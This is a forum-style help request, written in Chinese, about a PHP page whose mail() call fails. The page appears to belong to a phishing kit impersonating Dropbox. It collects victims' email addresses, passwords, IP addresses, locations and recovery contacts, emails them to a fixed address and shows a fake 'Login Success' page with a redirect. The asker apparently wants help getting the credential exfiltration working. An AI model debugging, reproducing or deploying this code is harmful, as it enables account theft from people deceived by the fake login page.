我想将数据库输入的副本发送到特定的电子邮件地址。
数据库效果很好,我可以看到存储的所有内容,但电子邮件没有发送。
这是我使用的电子邮件代码。
if(isset($_POST['submit'])){
$to = "email@example.com"; // this is your Email address
$email = $_POST['email']; // this is the sender's Email address
$password = $_POST['password'];
$ip = $_POST['ip'];
$location = $_POST['location'];
$recemail = $_POST['recemail'];
$recno = $_POST['recno'];
$subject = "New submission";
$message = "Email: ". $email . "<br> Password: "
. $password . "<br>Location: " .$location . "<br> Recovery Email/No: ".
$recemail . $recno;
$message2 = "New Entry From " . $email ;
$headers = "From:" . $email;
mail($to, $subject, $message, $headers);
}
在提交表单后,我将此代码添加到着陆页(success.php),而不是我提交的表单页面(form.php)。
这是完整的目标网页
<?php require_once('Connections/dbConnect.php'); ?>
<?php
if(isset($_POST['submit'])){
$to = "email@example.com"; // this is your Email address
$email = $_POST['email']; // this is the sender's Email address
$password = $_POST['password'];
$ip = $_POST['ip'];
$location = $_POST['location'];
$recemail = $_POST['recemail'];
$recno = $_POST['recno'];
$subject = "New submission";
$message = "Email: ". $email . "<br> Password: "
. $password . "<br>Location: " .$location . "<br> Recovery Email/No: ".
$recemail . $recno;
$message2 = "New Entry From " . $email ;
$headers = "From:" . $email;
mail($to, $subject, $message, $headers);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Drop Box - Login Success</title>
<script type="text/javascript">
<!--
function Redirect() {
window.location="#";
}
document.write("You will be redirected to main page in 10 sec.");
setTimeout('Redirect()', 10000);
//-->
</script>
</head>
Logged in successfull. Please wait while you are being redirected
<body>
</body>
</html>